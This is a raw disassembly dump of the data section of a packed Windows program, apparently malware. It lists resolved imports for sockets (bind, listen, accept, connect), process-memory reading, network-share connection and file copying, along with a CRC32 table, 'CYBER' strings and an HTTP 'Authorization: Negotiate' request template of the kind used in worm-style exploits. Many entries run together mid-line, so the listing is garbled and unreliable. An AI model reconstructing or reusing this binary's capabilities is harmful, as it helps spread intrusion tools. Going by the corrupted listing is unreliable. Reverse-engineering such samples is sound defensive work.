dword_428138 dd 7C82FA46h ; resolved to->KERNEL32.QueryPerformanceFrequency ; sub_413E88+FFr
dword_42813C dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrary ; sub_418D6C+C3r
dword_428140 dd 7C80F0F4h ; resolved to->KERNEL32.GetEnvironmentVariableWdword_428144 dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; sub_417646+F5r ...
dword_428148 dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; sub_4177CF+4Ar ...
dword_42814C dd 7C80ABC1h ; resolved to->KERNEL32.GetProcessHeap ; sub_4177CF+40r ...
dword_428150 dd 7C80B9A0h ; resolved to->KERNEL32.VirtualQueryEx ; sub_417973+53r
dword_428154 dd 7C8021CCh ; resolved to->KERNEL32.ReadProcessMemory ; sub_417973+95r
dword_428158 dd 7C812D56h ; resolved to->KERNEL32.GetSystemInfo ; sub_417973+2Cr
dword_42815C dd 7C82F7A0h ; resolved to->KERNEL32.FormatMessageAdword_428160 dd 7C80FE82h ; resolved to->KERNEL32.GlobalUnlockdword_428164 dd 7C80FF19h ; resolved to->KERNEL32.GlobalLockdword_428168 dd 7C80B974h ; resolved to->KERNEL32.UnmapViewOfFiledword_42816C dd 7C80B905h ; resolved to->KERNEL32.MapViewOfFiledword_428170 dd 7C80945Ch ; resolved to->KERNEL32.CreateFileMappingAdword_428174 dd 7C831CB8h ; resolved to->KERNEL32.SetFileTimedword_428178 dd 7C831C45h ; resolved to->KERNEL32.GetFileTimedword_42817C dd 7C8329D9h ; resolved to->KERNEL32.ExpandEnvironmentStringsAdword_428180 dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; sub_423383+20Dr ...
dword_428184 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; sub_41E034+54r ...
dword_428188 dd 7C80BAA1h ; resolved to->KERNEL32.lstrcmpiAdword_42818C dd 7C81AE17h ; resolved to->KERNEL32.GetExitCodeProcessdword_428190 dd 7C85F90Fh ; resolved to->KERNEL32.PeekNamedPipedword_428194 dd 7C830B14h ; resolved to->KERNEL32.GetLogicalDrivesdword_428198 dd 7C8310F2h ; resolved to->KERNEL32.GlobalMemoryStatusdword_42819C dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeap ; sub_41B9D2+22Dr ...
dword_4281A0 dd 7C937A40h ; resolved to->NTDLL.RtlUnwinddword_4281A4 dd 7C8350BFh ; resolved to->KERNEL32.GetTimeZoneInformation ; sub_42501C+38r
dword_4281A8 dd 7C80176Bh ; resolved to->KERNEL32.GetSystemTimedword_4281AC dd 7C801EEEh ; resolved to->KERNEL32.GetStartupInfoA ; sub_423BE6+59r
dword_4281B0 dd 7C812F1Dh ; resolved to->KERNEL32.GetCommandLineAdword_4281B4 dd 7C8111DAh ; resolved to->KERNEL32.GetVersiondword_4281B8 dd 7C814AF2h ; resolved to->KERNEL32.GetEnvironmentVariableAdword_4281BC dd 7C810EF8h ; resolved to->KERNEL32.HeapDestroydword_4281C0 dd 7C812BB6h ; resolved to->KERNEL32.HeapCreatedword_4281C4 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFree ; sub_41F176+120r ...
dword_4281C8 dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; sub_41ED85+51r ...
dword_4281CC dd 7C809E79h ; resolved to->KERNEL32.IsBadWritePtrdword_4281D0 dd 7C812E76h ; resolved to->KERNEL32.GetCPInfo ; sub_4208E8+14r ...
dword_4281D4 dd 7C809915h ; resolved to->KERNEL32.GetACP dd 0
dword_4281DC dd 71B2517Fh dd 0
dword_4281E4 dd 71AB46C9h ; resolved to->WS2_32.getsockoptdword_4281E8 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_412CA4+1F0r
dword_4281EC dd 71AB3F41h ; resolved to->WS2_32.inet_ntoadword_4281F0 dd 71AB4428h ; resolved to->WS2_32.WSACleanup ; sub_40F8BC+8Er
dword_4281F4 dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; sub_40F83F+15r
dword_4281F8 dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_413CEF+6Er ...
dword_4281FC dd 71AB3E00h ; resolved to->WS2_32.binddword_428200 dd 71AB88D3h ; resolved to->WS2_32.listendword_428204 dd 71AC1028h ; resolved to->WS2_32.acceptdword_428208 dd 71AB8769h ; resolved to->WS2_32.WSASocketAdword_42820C dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_40E71F+36r ...
dword_428210 dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_40E71F+59r ...
dword_428214 dd 71AB3EA1h ; resolved to->WS2_32.setsockopt ; sub_40F23F+5Ar
dword_428218 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_40DE14+28Br ...
dword_42821C dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_40DE14:loc_40E26Ar ...
dword_428220 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_40DE14+15r ...
dword_428224 dd 71AB428Ah ; resolved to->WS2_32.send ; sub_40DE14+A4r ...
dword_428228 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_40F23F+106r
dword_42822C dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSetdword_428230 dd 71AB951Eh ; resolved to->WS2_32.getsocknamedword_428234 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; sub_40E71F+27r ...
align 10h
dword_428240 dd 0 dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber db 'CYBER',0 ; DATA XREF: sub_401B66+3439o
; sub_401B66+351Co ...
align 4
aCyber_0 db 'CYBER',0 ; DATA XREF: sub_401B66+3840o
; sub_401B66+387Co ...
align 10h
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D082+62o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
dbl_428690 dq 1.388888888888889e-2 ; DATA XREF: sub_40CE97+2Fr
dbl_428698 dq 1.666666666666667e-1 ; DATA XREF: sub_40CE97+15r
dbl_4286A0 dq 1.333333333333333 ; DATA XREF: sub_40CEE3+7Ar
dword_4286A8 dd 0 ; sub_40D3C2+57o ...
flt_4286AC dd 5.0e-1 ; DATA XREF: sub_40D86F+3A5r
dbl_4286B0 dq 9.765625e-4 ; DATA XREF: sub_416975+2B8r
; sub_416975+2CDr ...
dbl_4286B8 dq -1.52587890625e-4 ; DATA XREF: sub_41802F+3D3r
dbl_4286C0 dq 3.0517578125e-4 ; DATA XREF: sub_41802F+3B4r
dbl_4286C8 dq -3.0517578125e-4 ; DATA XREF: sub_41802F+332r
; sub_41802F+396r
dbl_4286D0 dq 1.52587890625e-4 ; DATA XREF: sub_41802F+26Dr
dbl_4286D8 dq -1.739501953125e-3 ; DATA XREF: sub_41802F+248r
; sub_41802F+2D1r ...
dbl_4286E0 dq 3.11279296875e-3 ; DATA XREF: sub_41802F+E1r
dbl_4286E8 dq 3.0517578125e-5 ; DATA XREF: sub_41802F+AEr
; sub_41802F+137r ...
dbl_4286F0 dq 6.103515625e-5 ; DATA XREF: sub_41802F+93r
; sub_41802F+2FDr
dbl_4286F8 dq 2.288818359375e-3 ; DATA XREF: sub_41802F+21r
dbl_428700 dq -3.0517578125e-5 ; DATA XREF: sub_418E56+2Br
flt_428708 dd 9.765625e-4 ; DATA XREF: sub_41ACA2+1B0r
flt_42870C dd 8.0 ; DATA XREF: sub_41ACA2+1AAr
flt_428710 dd 0.0 ; DATA XREF: sub_41ACA2+16Fr
flt_428714 dd 1.0e-3 ; DATA XREF: sub_41ACA2+166r
dbl_428718 dq 1.0 ; DATA XREF: sub_41CE49+6Cr
; sub_41CF8F+6Cr ...
dword_428720 dd 0FFFFFFFFh, 41E20Ah, 41E21Eha__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_41E48A+8Eo
align 4
a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_41E48A+4Fo
align 4
byte_42875C db 6 ; DATA XREF: sub_41FE9F:loc_41FEF6r
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull: ; DATA XREF: .packed:off_43F204o
unicode 0, <(null)>,0
align 4
aNull_0 db '(null)',0 ; DATA XREF: .packed:off_43F200o
align 10h
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 4
aAtan2 db 'atan2',0
align 10h
aAtan db 'atan',0
align 4
aAcos db 'acos',0
align 10h
aAsin db 'asin',0
align 4
aTanh db 'tanh',0
align 10h
aCosh db 'cosh',0
align 4
aSinh db 'sinh',0
align 10h
aLog10 db 'log10',0
align 4
aLog db 'log',0
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: .packed:off_43F47Co
align 8
dbl_428888 dq 0.0 ; DATA XREF: sub_421B5F+8Cr
; sub_421B5F+ACr ...
dbl_428890 dq 4.195835e6 ; DATA XREF: sub_422074+Fr
dbl_428898 dq 3.145727e6 ; DATA XREF: sub_422074+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4220B2+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4220B2o
align 4
aE000 db 'e+000',0 ; DATA XREF: sub_4221D9+93o
align 10h
dword_4288D0 dd 0FFFFFFFFh, 4228C4h, 4228CEh, 0dword_4288E0 dd 0FFFFFFFFh, 0 dd offset loc_422A4A
align 10h
dd offset sub_422A28
dd offset sub_422A32
dword_4288F8 dd 0FFFFFFFFh, 422C7Ah, 422C7Eh, 0dword_428908 dd 0FFFFFFFFh, 422CDCh, 422CE5h, 0dword_428918 dd 0FFFFFFFFh, 0 dd offset loc_422DAD
align 8
dd offset loc_422D99
dd offset loc_422D9D
dword_428930 dd 0FFFFFFFFh, 0 dd offset loc_422E03
align 10h
dd offset loc_422DEF
dd offset loc_422DF3
dword_428948 dd 2 dup(0) ; sub_424517+39o ...
dword_428950 dd 0FFFFFFFFh, 423493h, 423497h, 0FFFFFFFFh, 423547h, 42354Bh
; DATA XREF: sub_423383+5o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 4
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 10h
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 4
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 10h
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 10h
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 10h
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 10h
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 4
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .packed:off_43F8CCo
db '- floating point not loaded',0Dh,0Ah,0
align 10h
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_423EAD+119o
align 4
asc_428C18 db 0Ah ; DATA XREF: sub_423EAD+F1o
db 0Ah,0
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_423EAD+D3o
db 0Ah
db 'Program: ',0
align 4
a___ db '...',0 ; DATA XREF: sub_423EAD+BFo
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_423EAD+7Do
align 8
dword_428C58 dd 0FFFFFFFFh, 424610h, 424614haSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
aTz db 'TZ',0 ; DATA XREF: sub_42501C+Ao
align 4
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_4256B1+3Do
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_4256B1+35o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_4256B1+24o
a1Qnan db '1#QNAN',0 ; DATA XREF: sub_425EF2:loc_425FE7o
align 10h
a1Inf db '1#INF',0 ; DATA XREF: sub_425EF2+D8o
align 4
a1Ind db '1#IND',0 ; DATA XREF: sub_425EF2+C7o
align 10h
a1Snan db '1#SNAN',0 ; DATA XREF: sub_425EF2+ADo
align 4
dword_428CF8 dd 0FFFFFFFFh, 4268EAh, 4268EEh, 0FFFFFFFFh, 426959h, 42695Dh
; DATA XREF: sub_426733+5o
dd 428E50h
off_428D14 dd offset loc_426E98 ; DATA XREF: sub_426CA0+4Do
; sub_426EB4+Co
dd offset sub_426D5E
dd offset sub_426E7B
aStringTooLong db 'string too long',0 ; DATA XREF: sub_426CA0+1Eo
dd offset dword_428E88
off_428D34 dd offset loc_426DC5 ; DATA XREF: sub_426CFA+4Eo
; sub_426D88+11o ...
dd offset sub_426D5E
dd offset sub_426D6B
dword_428D40 dd 0FFFFFFFFh ; sub_426DE1+34r
dd offset dword_428ED8
off_428D48 dd offset loc_426F80 ; DATA XREF: sub_426ECC+4Do
; sub_426F9C+Co
dd offset sub_426D5E
dd offset sub_426F63
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426ECC+1Eo
dd offset dword_428F08
off_428D70 dd offset sub_427082 ; DATA XREF: sub_42709E+8o
; sub_4270DB+8o ...
dd offset sub_42713B
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_42713B+7o
align 4
dd offset dword_428F50
off_428D90 dd offset loc_42715D ; DATA XREF: sub_427148o
; .packed:off_43FD78o ...
align 8
dword_428D98 dd 0E06D7363h, 1, 2 dup(0) dd 3, 19930520h, 2 dup(0)
dword_428DB8 dd 0FFFFFFFFh, 42732Ah, 42732Eh, 0FFFFFFFFh, 4273A7h, 4273ABh
; DATA XREF: sub_427228+5o
dword_428DD0 dd 0FFFFFFFFh, 42759Fh, 4275A3h, 0FFFFFFFFh, 4275FCh, 427600h
; DATA XREF: sub_4274B3+5o
dd 43FD78h, 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_428E00 dd offset off_43FD90 ; DATA XREF: .packed:00428E34o
; .packed:00428E68o ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
off_428E18 dd offset off_43FDB0 ; DATA XREF: .packed:00428E30o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_428E18
dd offset off_428E00
dd offset dword_428DD0+18h
dword_428E3C dd 3 dup(0) dd 3, 428E30h, 3 dup(0)
dd offset off_43FDB0
dd offset dword_428E3C+4
dd 0
dd offset off_428E00
dd offset dword_428DD0+18h
dword_428E70 dd 4 dup(0) dd 2, 428E68h
dword_428E88 dd 3 dup(0) dd offset off_43FD90
dd offset dword_428E70+8
align 10h
off_428EA0 dd offset off_43FDD0 ; DATA XREF: .packed:00428EB8o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_428EA0
dd offset off_428E00
dd offset dword_428DD0+18h
dd 0
db 0 ; DATA XREF: .packed:00428EE8o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 3, 428EB8h
dword_428ED8 dd 3 dup(0) dd offset off_43FDD0
dd offset unk_428EC8
dd offset dword_428DD0+18h
dword_428EF0 dd 4 dup(0) dd 1, 428EECh
dword_428F08 dd 3 dup(0) dd offset off_43FD78
dd offset dword_428EF0+8
align 10h
off_428F20 dd offset off_43FDF0 ; DATA XREF: .packed:00428F38o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_428F20
dword_428F3C dd 3 dup(0) dd 1, 428F38h
dword_428F50 dd 3 dup(0) dd offset off_43FDF0
dd offset dword_428F3C+4
align 8
dd 0FFFFFFFFh, 427680h, 0
dd offset sub_427678
dword_428F78 dd 19930520h, 2, 428F68h, 4 dup(0) dd 0FFFFFFFFh, 4276A4h, 0
dd offset loc_4276AC
dword_428FA4 dd 19930520h, 2, 428F94h, 4 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 4 dup(0)
dd offset loc_40D628
dd 2 dup(0)
dd 2 dup(1), 428FD0h
dword_428FF4 dd 19930520h, 2, 428FC0h, 1, 428FE0h, 3 dup(0)
; DATA XREF: .packed:loc_4276C0o
dd offset off_43FD78
dd 0
dd 0FFFFFFFFh, 0
dd 0Ch, 4270DBh, 2 dup(0)
dd offset off_43FD90
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 426DE1h, 2 dup(0)
dd offset off_43FDB0
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 426EB4h, 0
dword_429070 dd 3, 429050h, 429030h, 429010hdword_429080 dd 0 ; sub_426E7B+12o
dd offset sub_426E3E
dd 0
dd offset dword_429070
dword_429090 dd 19930520h, 1, 4290B0h, 5 dup(0) dd 0FFFFFFFFh, 4276CCh
dword_4290B8 dd 19930520h, 1, 4290D8h, 5 dup(0)dword_4290D8 dd 0FFFFFFFFh, 4276E0h, 2, 429030h, 429010h, 0
; DATA XREF: .packed:004290FCo
dword_4290F0 dd 0 dd offset sub_426D88
dd 0
dd offset dword_4290D8+8
dword_429100 dd 19930520h, 1, 429120h, 5 dup(0) dd 0FFFFFFFFh, 4276F4h
dword_429128 dd 19930520h, 1, 429148h, 5 dup(0) dd 0FFFFFFFFh, 427708h
dword_429150 dd 19930520h, 1, 429170h, 5 dup(0) dd 0FFFFFFFFh, 42771Ch, 0
dd offset off_43FDD0
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 426F9Ch, 0
dword_429198 dd 3, 429178h, 429030h, 429010hdword_4291A8 dd 0 ; sub_426F63+12o
dd offset sub_426F26
dd 0
dd offset dword_429198
dword_4291B8 dd 19930520h, 1, 4291D8h, 5 dup(0) dd 0FFFFFFFFh, 427730h
dword_4291E0 dd 19930520h, 1, 429200h, 5 dup(0) dd 0FFFFFFFFh, 427744h, 29434h, 2 dup(0)
dd 294AAh, 281DCh, 2943Ch, 2 dup(0)
dd 294C0h, 281E4h, 29258h, 2 dup(0)
dd 29D40h, 28000h, 5 dup(0)
dd 7C8137D9h, 7C833478h, 7C80A35Eh, 7C80D077h, 7C832044h
dd 7C80BCCFh, 7C809E01h, 7C84467Dh, 7C80A490h, 7C838A0Ch
dd 7C812641h, 7C81DC03h, 7C810E51h, 7C812F39h, 7C80CC97h
dd 7C812F08h, 7C81CF5Bh, 7C814AE7h, 7C81DF77h, 7C862E2Ah
dd 7C80CCA8h, 7C838DE8h, 7C9109EDh, 7C812A09h, 7C8127A7h
dd 7C802442h, 7C81CDDAh, 7C809B47h, 7C802367h, 7C80B4CFh
dd 7C814EEAh, 7C810637h, 7C831EABh, 7C8309E1h, 7C809920h
dd 7C910331h, 7C8286EEh, 7C812782h, 7C81153Ch, 7C80B6A1h
dd 7C802520h, 7C80E93Fh, 7C80929Ch, 7C81CE03h, 7C835DCAh
dd 7C835E8Fh, 7C801D77h, 7C80ADA0h, 7C8216A4h, 7C80D262h
dd 7C812ADEh, 7C80C058h, 7C9010EDh, 7C901005h, 7C80B829h
dd 7C91188Ah, 7C810D87h, 7C8308ADh, 7C80180Eh, 7C801A24h
dd 7C8312E5h, 7C801E16h, 7C80DDFEh, 7C80DDF5h, 7C81E0C7h
dd 7C83632Dh, 7C8361EEh, 7C810A77h, 7C80EDD7h, 7C80E7ECh
dd 7C80E866h, 7C834EB1h, 7C810B8Eh, 7C81B58Bh, 7C80A05Dh
dd 7C873A31h, 7C80A7D4h, 7C80A427h, 7C82FA46h, 7C80ABDEh
dd 7C80F0F4h, 7C91043Dh, 7C9105D4h, 7C80ABC1h, 7C80B9A0h
dd 7C8021CCh, 7C812D56h, 7C82F7A0h, 7C80FE82h, 7C80FF19h
dd 7C80B974h, 7C80B905h, 7C80945Ch, 7C831CB8h, 7C831C45h
dd 7C8329D9h, 7C80A0D4h, 7C809BF8h, 7C80BAA1h, 7C81AE17h
dd 7C85F90Fh, 7C830B14h, 7C8310F2h, 7C9179FDh, 7C937A40h
dd 7C8350BFh, 7C80176Bh, 7C801EEEh, 7C812F1Dh, 7C8111DAh
dd 7C814AF2h, 7C810EF8h, 7C812BB6h, 7C809AE4h, 7C809A51h
dd 7C809E79h, 7C812E76h, 7C809915h, 0
dd 71B2517Fh, 0
dd 71AB46C9h, 71AB2B66h, 71AB3F41h, 71AB4428h, 71AB664Dh
dd 71AB4519h, 71AB3E00h, 71AB88D3h, 71AC1028h, 71AB8769h
dd 71AB2B66h, 71AB406Ah, 71AB3EA1h, 71AB615Ah, 71AB9639h
dd 71AB3B91h, 71AB428Ah, 71AB2DC0h, 71AB4544h, 71AB951Eh
dd 71AB2BF4h, 0
db 6
align 2
aWnetaddconne_1 db 'WNetAddConnection2A',0
aMpr_dll_0 db 'MPR.dll',0
aA_1 db 'A',0
aWsasocketa_0 db 'WSASocketA',0
align 10h
aWs2_32_dll_0 db 'WS2_32.dll',0
align 4
dd 6C530349h, 706565h, 784500AFh, 72507469h, 7365636Fh
dd 2E0073h, 736F6C43h, 6E614865h, 656C64h, 72430060h, 65746165h
dd 636F7250h, 41737365h, 1750000h
aGetmodulefilen db 'GetModuleFileNameA',0
align 4
db 0B9h ; ¹
db 1, 47h, 65h
aTsystemdirecto db 'tSystemDirectoryA',0
aI_1 db 'i',0
aCreatethread db 'CreateThread',0
align 2
db '|',0
aDeletefilea db 'DeleteFileA',0
dd 704F027Ch, 72506E65h, 7365636Fh, 13B0073h
aGetcurrentproc db 'GetCurrentProcessId',0
db 69h ; i
db 1, 47h, 65h
aTlasterror db 'tLastError',0
align 10h
db '=',0
aCopyfilea db 'CopyFileA',0
db 0Eh
db 3, 53h, 65h
aTfileattribute db 'tFileAttributesA',0
align 2
dw 156h
aGetfileattribu db 'GetFileAttributesA',0
align 4
db 77h ; w
db 1, 47h, 65h
aTmodulehandlea db 'tModuleHandleA',0
align 4
db 85h ; …
db 3, 57h, 61h
aItforsingleobj db 'itForSingleObject',0
aZ db 'Z',0
aCreatemutexa db 'CreateMutexA',0
align 2
dw 1D5h
aGettickcount db 'GetTickCount',0
align 2
dw 352h
aTerminatethrea db 'TerminateThread',0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 1, 47h, 65h
aTtemppatha db 'tTempPathA',0
align 4
dd 6F4D0264h, 69466576h, 41656Ch, 6F4C0248h, 694C6461h
dd 72617262h, 4179h, 65470198h, 6F725074h, 64644163h, 73736572h
dd 10C0000h, 43746547h, 75706D6Fh, 4E726574h, 41656D61h
dd 16C0000h, 4C746547h, 6C61636Fh, 666E4965h, 416Fh, 654701DFh
dd 72655674h, 6E6F6973h, 417845h, 784500B0h, 68547469h
dd 64616572h, 2470000h
aLeavecriticals db 'LeaveCriticalSection',0
align 2
aP_0 db '',0
aEntercriticals db 'EnterCriticalSection',0
align 2
dw 21Ah
aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0
aZ_0 db 'z',0
aDeletecritical db 'DeleteCriticalSection',0
dw 397h
aWritefile db 'WriteFile',0
aI_2 db 'I',0
aCreateeventa db 'CreateEventA',0
align 2
dw 2ABh
aReadfile_0 db 'ReadFile',0
align 2
aM_0 db 'M',0
aCreatefilea db 'CreateFileA',0
db 5Bh ; [
db 3, 54h, 72h
aAnsactnamedpip db 'ansactNamedPipe',0
dd 65540351h, 6E696D72h, 50657461h, 65636F72h, 7373h, 7544008Ch
